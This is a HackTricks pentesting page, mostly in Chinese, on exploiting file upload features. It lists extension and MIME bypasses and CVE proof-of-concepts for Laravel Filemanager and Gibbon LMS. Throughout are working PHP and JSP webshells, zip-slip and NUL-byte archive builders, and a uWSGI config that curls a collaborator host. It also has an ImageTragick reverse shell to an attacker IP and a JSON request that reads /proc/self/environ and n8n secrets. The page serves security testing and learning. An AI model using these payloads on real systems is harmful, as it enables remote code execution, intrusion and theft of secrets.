文件上传

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

文件上传通用方法

Other useful extensions:

  • PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
  • Working in PHPv8: .php, .php4, .php5_, .phtml_, .module_, .inc_, .hphp_, .ctp_
  • ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
  • Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
  • Coldfusion: .cfm, .cfml, .cfc, .dbm
  • Flash: .swf
  • Perl: .pl, .cgi
  • Erlang Yaws Web Server: .yaws

绕过文件扩展名检查

  1. 如果适用,检查上述扩展名。也要使用一些大写字母进行测试:pHp, .pHP5, .PhAr …
  2. 检查在执行扩展名前添加一个有效扩展(也使用前面列出的扩展):
  • file.png.php
  • file.png.Php5
  1. 尝试在末尾添加特殊字符。你可以使用 Burp 对所有 ASCII 和 Unicode 字符进行暴力测试。(注意你也可以尝试使用前面提到的扩展)
  • file.php%20
  • file.php%0a
  • file.php%00
  • file.php%0d%0a
  • file.php/
  • file.php.\
  • file.
  • file.php….
  • file.pHp5….
  1. 尝试通过欺骗服务器端的扩展解析器来绕过保护,使用诸如双扩展或在扩展之间**添加垃圾数据(null 字节)**的技术。你也可以使用前述的扩展来构造更好的 payload。
  • file.png.php
  • file.png.pHp5
  • file.php#.png
  • file.php%00.png
  • file.php\x00.png
  • file.php%0a.png
  • file.php%0d%0a.png
  • file.phpJunk123png
  1. 在之前的检查中再添加一层扩展:
  • file.png.jpg.php
  • file.php%00.png%00.jpg
  1. 尝试把可执行扩展放在有效扩展之前,希望服务器配置错误。(在某些 Apache 配置错误中,凡是包含 .php 扩展的文件,即使文件名不以 .php 结尾,也可能执行代码):
  • ex: file.php.png
  1. 使用 Windows 的 NTFS alternate data stream (ADS)。在这种情况下,会在被禁止的扩展名之后和允许的扩展名之前插入冒号字符 “:”。结果是在服务器上创建一个带有被禁止扩展名的空文件(例如 “file.asax:.jpg”)。此文件之后可能通过其他技术(例如使用其短文件名)进行编辑。“::$data” 模式也可用于创建非空文件。因此,在该模式后添加一个点字符也可能有助于绕过进一步的限制(例如 “file.asp::$data.”)
  2. 尝试突破文件名长度限制。有效扩展被截断,而恶意 PHP 留在末尾。 AAA<–SNIP–>AAA.php
# Linux maximum 255 bytes
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
# Upload the file and check response how many characters it alllows. Let's say 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Make the payload
AAA<--SNIP 232 A-->AAA.php.png

UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) – CVE-2024-21546

Some upload handlers trim or normalize trailing dot characters from the saved filename. In UniSharp’s Laravel Filemanager (unisharp/laravel-filemanager) versions before 2.9.1, you can bypass extension validation by:

  • Using a valid image MIME and magic header (e.g., PNG’s \x89PNG\r\n\x1a\n).
  • Naming the uploaded file with a PHP extension followed by a dot, e.g., shell.php..
  • The server strips the trailing dot and persists shell.php, which will execute if it’s placed in a web-served directory (default public storage like /storage/files/).

Minimal PoC (Burp Repeater):

POST /profile/avatar HTTP/1.1
Host: target
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="upload"; filename="0xdf.php."
Content-Type: image/png

\x89PNG\r\n\x1a\n<?php system($_GET['cmd']??'id'); ?>
------WebKitFormBoundary--

然后访问保存的路径(在 Laravel + LFM 中常见):

GET /storage/files/0xdf.php?cmd=id

绕过 Content-Type、Magic Number、Compression & Resizing

  • 绕过 Content-Type 校验,通过将 Content-Type headervalue 设置为:image/png , text/plain , application/octet-stream
  1. Content-Type wordlist: https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt
  • 通过在文件开头添加真实图片的字节来绕过 magic number 检查(混淆 file 命令)。或者将 shell 放在 metadata 中:
    exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
    \ 或者你也可以直接在图片中插入 payload
    echo '<?php system($_REQUEST['cmd']); ?>' >> img.png
  • 如果对你的图像施加了压缩,例如使用一些标准的 PHP 库如 PHP-GD,之前的技术可能就无效。不过,你可以使用 PLTE chunk technique defined here 在图像中插入一些能在压缩后保留的文本。
  • Github with the code
  • 网页也可能在调整图像大小(resizing),例如使用 PHP-GD 的 imagecopyresizedimagecopyresampled 函数。然而,你可以使用 IDAT chunk technique defined here 插入一些能在压缩后保留的文本。
  • Github with the code
  • 另一种制作能在图像调整大小后存活的 payload 的方法,针对 PHP-GD 的 thumbnailImage。另外,你可以使用 tEXt chunk technique defined here 插入一些能在压缩后保留的文本。
  • Github with the code

其他需要检查的技巧

  • 找到能够重命名已上传文件(以更改扩展名)的漏洞。
  • 寻找 Local File Inclusion 漏洞以执行后门。
  • 可能的信息泄露
  1. 同时多次上传相同名称的同一文件。
  2. 上传一个与已有文件或文件夹同名的文件。
  3. 上传文件名为 “.” , “..”, or “…” 的文件。例如,在 Windows 上的 Apache,如果应用将上传文件保存在 “/www/uploads/” 目录,文件名为 “.” 会在 “/www/” 目录下创建一个名为 “uploads” 的文件。
  4. 上传可能无法轻易删除的文件,例如在 NTFS 中的 “…:.jpg”。(Windows)
  5. Windows 中上传文件名含有非法字符(例如 |<>*?”)的文件。
  6. Windows 中使用保留(禁止)名称上传文件,例如 CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9。
  • 也可尝试上传一个可执行文件(.exe)或一个 .html(看起来不那么可疑),当受害者意外打开时会执行代码。

Special extension tricks

If you are trying to upload files to a PHP server, take a look at the .htaccess trick to execute code.
If you are trying to upload files to an ASP server, take a look at the .config trick to execute code.

The .phar files are like the .jar for java, but for php, and can be used like a php file (executing it with php, or including it inside a script…)

The .inc extension is sometimes used for php files that are only used to import files, so, at some point, someone could have allow this extension to be executed.

Jetty RCE

If you can upload a XML file into a Jetty server you can obtain RCE because **new .xml and .war are automatically processed. So, as mentioned in the following image, upload the XML file to $JETTY_BASE/webapps/ and expect the shell!

https://twitter.com/ptswarm/status/1555184661751648256/photo/1

uWSGI RCE

For a detailed exploration of this vulnerability check the original research: uWSGI RCE Exploitation.

Remote Command Execution (RCE) vulnerabilities can be exploited in uWSGI servers if one has the capability to modify the .ini configuration file. uWSGI configuration files leverage a specific syntax to incorporate “magic” variables, placeholders, and operators. Notably, the ‘@’ operator, utilized as @(filename), is designed to include the contents of a file. Among the various supported schemes in uWSGI, the “exec” scheme is particularly potent, allowing the reading of data from a process’s standard output. This feature can be manipulated for nefarious purposes such as Remote Command Execution or Arbitrary File Write/Read when a .ini configuration file is processed.

Consider the following example of a harmful uwsgi.ini file, showcasing various schemes:

[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
; curl to exfil via collaborator
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)

payload 的执行发生在配置文件被解析期间。要使配置生效并被解析,uWSGI 进程必须重新启动(可能是在崩溃之后或由于 Denial of Service 攻击),或者该文件必须被设置为 auto-reload。如果启用了 auto-reload 功能,检测到更改后会在指定间隔重新加载该文件。

重要的是要理解 uWSGI 配置文件解析的宽松性。具体来说,所述 payload 可以被插入到二进制文件中(例如 image 或 PDF),从而进一步扩大潜在利用的范围。

Gibbon LMS arbitrary file write to pre-auth RCE (CVE-2023-45878)

Gibbon LMS 中的一个未认证 endpoint 允许在 web 根目录内进行 arbitrary file write,通过放置 PHP 文件导致 pre-auth RCE。易受影响的版本:直到并包括 25.0.01。

  • Endpoint: /Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php
  • Method: POST
  • Required params:
  • img: data-URI-like string: [mime];[name],[base64] (服务器会忽略 type/name,并对尾部进行 base64 解码)
  • path: destination filename relative to Gibbon install dir (e.g., poc.php or 0xdf.php)
  • gibbonPersonID: any non-empty value is accepted (e.g., 0000000001)

Minimal PoC to write and read back a file:

# Prepare test payload
printf '0xdf was here!' | base64
# => MHhkZiB3YXMgaGVyZSEK

# Write poc.php via unauth POST
curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;test,MHhkZiB3YXMgaGVyZSEK&path=poc.php&gibbonPersonID=0000000001'

# Verify write
curl http://target/Gibbon-LMS/poc.php

放置一个最小的 webshell 并执行命令:

# '<?php system($_GET["cmd"]); ?>' base64
# PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==

curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;foo,PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==&path=shell.php&gibbonPersonID=0000000001'

curl 'http://target/Gibbon-LMS/shell.php?cmd=whoami'

注意:

  • 该 handler 在按 ;, 拆分后执行 base64_decode($_POST["img"]),然后将字节写入 $absolutePath . '/' . $_POST['path'],未验证 extension/type。
  • 结果代码以 web 服务用户运行(例如,在 Windows 上的 XAMPP Apache)。

有关此漏洞的参考包括 usd HeroLab advisory 和 NVD entry。见下方的 References 部分。

wget File Upload/SSRF Trick

在某些情况下,你可能会发现服务器使用 wgetdownload files,并且你可以 indicate the URL。在这些情形下,代码可能会检查被下载文件的 extension 是否在 whitelist 中,以确保只下载被允许的文件。然而,this check can be bypassed.
linux 中,filenamemaximum 长度为 255,但是 wget 会将文件名 truncate 到 236 个字符。你可以 download a file called “A”*232+“.php”+“.gif”,该文件名会 bypasscheck(在此例中 “.gif” 是一个 valid extension),但 wgetrename 文件为 “A”*232+“.php”

#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06--  http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’

AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>]      10  --.-KB/s    in 0s

2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]

注意,你可能会想到的另一种选项去绕过此检查是让 HTTP server redirect to a different file,这样初始 URL 会绕过检查,但随后 wget 会以新名称下载被重定向的文件。除非使用带有参数 --trust-server-names 的 wget,否则这不会奏效,因为 wget 会以原始 URL 指示的文件名下载被重定向的页面

通过 NTFS junctions (Windows) 逃离上传目录

(进行此攻击需要对目标 Windows 机器的本地访问权限) 当上传存储在 Windows 的每用户子文件夹下(例如 C:\Windows\Tasks\Uploads<id>\),且你可以控制该子文件夹的创建/删除时,你可以将其替换为指向敏感位置(例如 webroot)的 directory junction。随后的上传将被写入目标路径,如果目标会解释 server‑side code,则可导致代码执行。

Example flow to redirect uploads into XAMPP webroot:

:: 1) Upload once to learn/confirm your per-user folder name (e.g., md5 of form fields)
::    Observe it on disk: C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882

:: 2) Remove the created folder and create a junction to webroot
rmdir C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882
cmd /c mklink /J C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882 C:\xampp\htdocs

:: 3) Re-upload your payload; it lands under C:\xampp\htdocs
::    Minimal PHP webshell for testing
::    <?php echo shell_exec($_REQUEST['cmd']); ?>

:: 4) Trigger
curl "http://TARGET/shell.php?cmd=whoami"

注意事项

  • mklink /J creates an NTFS directory junction (reparse point). Web 服务器的帐户必须能够跟随该 junction 并在目标位置具有写权限。
  • 这会重定向 arbitrary file writes;如果目标位置会执行脚本(PHP/ASP),则可能导致 RCE。
  • 防御:不要允许可写的上传根目录被攻击者控制(例如位于 C:\Windows\Tasks 下);阻止 junction 的创建;在服务器端验证扩展名;将上传存储在独立的卷上或使用 deny‑execute ACLs。

GZIP-compressed body upload + path traversal in destination param → JSP webshell RCE (Tomcat)

Some upload/ingest handlers write the raw request body to a filesystem path that is constructed from user-controlled query parameters. If the handler also supports Content-Encoding: gzip and fails to canonicalize/validate the destination path, you can combine directory traversal with a gzipped payload to write arbitrary bytes into a web-served directory and obtain RCE (e.g., drop a JSP under Tomcat’s webapps).

通用利用流程:

  • 准备你的 server-side payload(例如,一个最小的 JSP webshell),并对字节进行 gzip 压缩。
  • 发送一个 POST 请求,其中一个 path parameter(例如 token)包含用于跳出目标文件夹的 traversal,file 指示要保存的文件名。设置 Content-Type: application/octet-stream 和 Content-Encoding: gzip;请求体为压缩后的 payload。
  • 访问已写入的文件以触发执行。

Illustrative request:

POST /fileupload?token=..%2f..%2f..%2f..%2fopt%2ftomcat%2fwebapps%2fROOT%2Fjsp%2F&file=shell.jsp HTTP/1.1
Host: target
Content-Type: application/octet-stream
Content-Encoding: gzip
Content-Length: <len>

<gzip-compressed-bytes-of-your-jsp>

然后触发:

GET /jsp/shell.jsp?cmd=id HTTP/1.1
Host: target

说明

  • 目标路径因安装而异(例如,在某些堆栈中为 /opt/TRUfusion/web/tomcat/webapps/trufusionPortal/jsp/)。任何可被 web 访问且能执行 JSP 的文件夹都可以。
  • Burp Suite 的 Hackvertor extension 可以为你的 payload 生成正确的 gzip body。
  • 这是一个纯粹的 pre-auth arbitrary file write → RCE 模式;它不依赖于 multipart 解析。

缓解措施

  • 在服务器端确定上传目的地;绝不信任来自客户端的路径片段。
  • 对路径进行规范化,并强制要求解析后的路径保持在允许的基目录内。
  • 将上传文件存放在不可执行的卷上,并禁止从可写路径执行脚本。

工具

  • Upload Bypass 是一个强大的工具,旨在协助 Pentesters 和 Bug Hunters 测试文件上传机制。它利用各种 bug bounty 技术来简化识别与利用漏洞的过程,确保对 web 应用的彻底评估。

Corrupting upload indices with snprintf quirks (historical)

一些使用 snprintf() 或类似方法从单文件上传构建多文件数组的遗留上传处理程序,可能被欺骗以伪造 _FILES 结构。由于 snprintf() 行为的不一致和截断,精心构造的单次上传可能在服务器端表现为多个带索引的文件,从而混淆那些假定固定结构的逻辑(例如将其当作多文件上传并走入不安全的分支)。尽管在今天很小众,这种“index corruption”模式有时仍会在 CTF 或较旧的代码库中重现。

从文件上传到其他漏洞

下面是通过上传可以实现的前十项清单(来自 here):

  1. ASP / ASPX / PHP5 / PHP / PHP3: Webshell / RCE
  2. SVG: Stored XSS / SSRF / XXE
  3. GIF: Stored XSS / SSRF
  4. CSV: CSV injection
  5. XML: XXE
  6. AVI: LFI / SSRF
  7. HTML / JS : HTML injection / XSS / Open redirect
  8. PNG / JPEG: Pixel flood attack (DoS)
  9. ZIP: RCE via LFI / DoS
  10. PDF / PPTX: SSRF / BLIND XXE

Burp Extension

GitHub - PortSwigger/upload-scanner: HTTP file upload scanner for Burp Proxy

魔法文件头字节

  • PNG: "\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03["
  • JPG: "\xff\xd8\xff"

参见 https://en.wikipedia.org/wiki/List_of_file_signatures 获取其它文件类型。

Zip/Tar 文件自动解压上传

如果你可以上传一个会在服务器内部被解压的 ZIP,你可以做两件事:

上传一个包含指向其他文件的软链接的压缩包,然后访问解压后的文件时,你会访问到被链接的文件:

ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt

在不同文件夹中解压

在解压缩过程中意外在目录中创建文件是一个严重的问题。尽管最初可能认为这种设置可以防止通过 malicious file uploads 实现 OS-level command execution,但 ZIP archive format 对分层压缩的支持以及 directory traversal 的能力可以被利用。攻击者可以操纵目标应用的解压功能,借此绕过限制并逃出安全的上传目录。

用于创建此类文件的自动化利用工具可从 evilarc on GitHub 获取。该工具的用法如下:

# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php

此外,symlink trick with evilarc 是一个可选方案。如果目标是像 /flag.txt 这样的文件,应在你的系统中创建指向该文件的 symlink。这可以确保 evilarc 在操作过程中不会遇到错误。

下面是用于创建恶意 zip 文件的 Python 代码示例:

#!/usr/bin/python
import zipfile
from io import BytesIO


def create_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()

create_zip()

Abusing compression for file spraying

For further details check the original post in: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/

  1. Creating a PHP Shell: PHP 代码被编写为执行通过 $_REQUEST 变量传入的命令。
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
  1. File Spraying and Compressed File Creation: 创建多个文件并组装一个包含这些文件的 zip 归档。
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
  1. Modification with a Hex Editor or vi: 使用 vi 或十六进制编辑器修改 zip 内的文件名,将 “xxA” 改为 “../” 来进行目录遍历。
:set modifiable
:%s/xxA/../g
:x!

ZIP NUL-byte filename smuggling (PHP ZipArchive confusion)

当后端使用 PHP 的 ZipArchive 验证 ZIP 条目但提取时使用原始名称写入文件系统时,你可以通过在文件名字段中插入 NUL (0x00) 来走私一个被禁止的扩展名。ZipArchive 将条目名视为 C‑string 并在第一个 NUL 处截断;文件系统则会写入包含 NUL 后续部分的完整名称(截断之前的显示),从而导致实际写出的文件具有被走私的扩展。

高层流程:

  • 准备一个合法的容器文件(例如有效的 PDF),在其流中嵌入一个很小的 PHP stub,这样 magic/MIME 仍然表明这是个 PDF。
  • 将其命名为 shell.php..pdf,压缩后,用十六进制编辑器修改 ZIP 的 local header 和 central directory 中的文件名,把 .php 后的第一个 . 替换为 0x00,结果变成 shell.php\x00.pdf
  • 依赖 ZipArchive 做验证的验证器会“看到”shell.php .pdf 并允许它;提取器则会写出 shell.php 到磁盘,如果上传目录可执行则可能导致 RCE。

Minimal PoC steps:

# 1) Build a polyglot PDF containing a tiny webshell (still a valid PDF)
printf '%s' "%PDF-1.3\n1 0 obj<<>>stream\n<?php system($_REQUEST["cmd"]); ?>\nendstream\nendobj\n%%EOF" > embedded.pdf

# 2) Trick name and zip
cp embedded.pdf shell.php..pdf
zip null.zip shell.php..pdf

# 3) Hex-edit both the local header and central directory filename fields
#    Replace the dot right after ".php" with 00 (NUL) => shell.php\x00.pdf
#    Tools: hexcurse, bless, bvi, wxHexEditor, etc.

# 4) Local validation behavior
php -r '$z=new ZipArchive; $z->open("null.zip"); echo $z->getNameIndex(0),"\n";'
# -> shows truncated at NUL (looks like ".pdf" suffix)

注意事项

  • 更改两个 filename 出现项(local 和 central directory)。有些工具还会添加额外的 data descriptor 条目——如果存在,调整所有 name fields。
  • payload 文件仍必须通过 server‑side magic/MIME sniffing。将 PHP 嵌入 PDF stream 中可保持 header 有效。
  • 适用于 enum/validation 路径与 extraction/write 路径在字符串处理上不一致的情况。

Stacked/concatenated ZIPs(解析器不一致)

将两个有效的 ZIP 文件串联会产生一个 blob,不同的解析器会关注不同的 EOCD 记录。许多工具定位最后一个 End Of Central Directory (EOCD),但某些库(例如特定工作流中的 ZipArchive)可能解析到它们发现的第一个 archive。如果验证枚举的是第一个 archive,而提取/写入使用的工具遵循最后一个 EOCD,则良性 archive 可能通过检查,而恶意 archive 被提取。

PoC:

# Build two separate archives
printf test > t1; printf test2 > t2
zip zip1.zip t1; zip zip2.zip t2

# Stack them
cat zip1.zip zip2.zip > combo.zip

# Different views
unzip -l combo.zip   # warns about extra bytes; often lists entries from the last archive
php -r '$z=new ZipArchive; $z->open("combo.zip"); for($i=0;$i<$z->numFiles;$i++) echo $z->getNameIndex($i),"\n";'

滥用模式

  • 创建一个良性归档(允许的类型,例如 PDF)以及第二个包含被阻止扩展名的归档(例如 shell.php)。
  • 将它们连接:cat benign.zip evil.zip > combined.zip
  • 如果服务器用一个解析器验证(看到 benign.zip)但用另一个解析器解压(处理 evil.zip),被阻止的文件就会落到解压路径中。

ImageTragic

将此内容以图像扩展名上传以利用漏洞 (ImageMagick , 7.0.1-1)(来自 exploit

push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context

在 PNG 中嵌入 PHP Shell

将 PHP shell 嵌入 PNG 文件的 IDAT chunk 中可以有效绕过某些图像处理操作。PHP-GD 的 imagecopyresizedimagecopyresampled 函数在这方面尤其相关,它们通常分别用于调整大小和重新采样图像。嵌入的 PHP shell 在这些操作下仍能保持不被破坏,这对某些用例是很大的优势。

A detailed exploration of this technique, including its methodology and potential applications, is provided in the following article: “Encoding Web Shells in PNG IDAT chunks”. This resource offers a comprehensive understanding of the process and its implications.

More information in: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

Polyglot Files

Polyglot 文件是在网络安全中独特的工具,像变色龙一样可以同时以多种文件格式合法存在。一个有趣的例子是 GIFAR,它既是 GIF 又是 RAR 存档的混合体。此类文件不限于这种组合;像 GIF 和 JS、PPT 和 JS 的组合也同样可行。

Polyglot 文件的核心作用在于其能够规避基于类型筛选文件的安全措施。各类应用通常只允许上传某些文件类型——如 JPEG、GIF 或 DOC——以减少潜在有害格式(例如 JS、PHP 或 Phar 文件)带来的风险。然而,通过同时符合多种文件格式的结构要求,polyglot 可以悄然绕过这些限制。

尽管它们具有适应性,polyglots 仍然有局限性。例如,虽然一个 polyglot 可能同时具备 PHAR(PHp ARchive)和 JPEG 的特性,但其能否成功上传可能取决于平台的文件扩展名策略。如果系统严格限制允许的扩展名,polyglot 的结构双重性可能不足以确保其被接受上传。

More information in: https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a

像上传 PDF 一样上传有效的 JSON

如何通过伪装成 PDF 来上传有效的 JSON 文件从而规避文件类型检测(技术来自 this blog post):

  • mmmagic library: 只要 %PDF 魔术字节出现在前 1024 字节内就被认为是有效的(示例见文章)
  • pdflib library: 在 JSON 的某个字段内加入伪造的 PDF 格式,使得库认为它是一个 pdf(示例见文章)
  • file binary: 它最多会从文件读取 1048576 字节。只需创建一个大于该大小的 JSON,使其无法将内容解析为 JSON,然后在该 JSON 内放入真实 PDF 的初始部分,系统便会认为它是 PDF

Content-Type 混淆导致任意文件读取

一些上传处理器会信任解析后的请求体(例如 context.getBodyData().files),随后在未先强制要求 Content-Type: multipart/form-data 的情况下就file.filepath 复制文件。如果服务器接受 application/json,你可以提供一个伪造的 files 对象,将 filepath 指向任意本地路径,从而把上传流程变成任意文件读取的原语。

示例 POST 针对一个表单工作流,该工作流会在 HTTP 响应中返回上传的二进制:

POST /form/vulnerable-form HTTP/1.1
Host: target
Content-Type: application/json

{
"files": {
"document": {
"filepath": "/proc/self/environ",
"mimetype": "image/png",
"originalFilename": "x.png"
}
}
}

后端复制 file.filepath,因此响应会返回该路径的内容。常见链:读取 /proc/self/environ 以确认 $HOME,然后读取 $HOME/.n8n/config 获取密钥,以及 $HOME/.n8n/database.sqlite 获取用户标识符。

参考资料

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks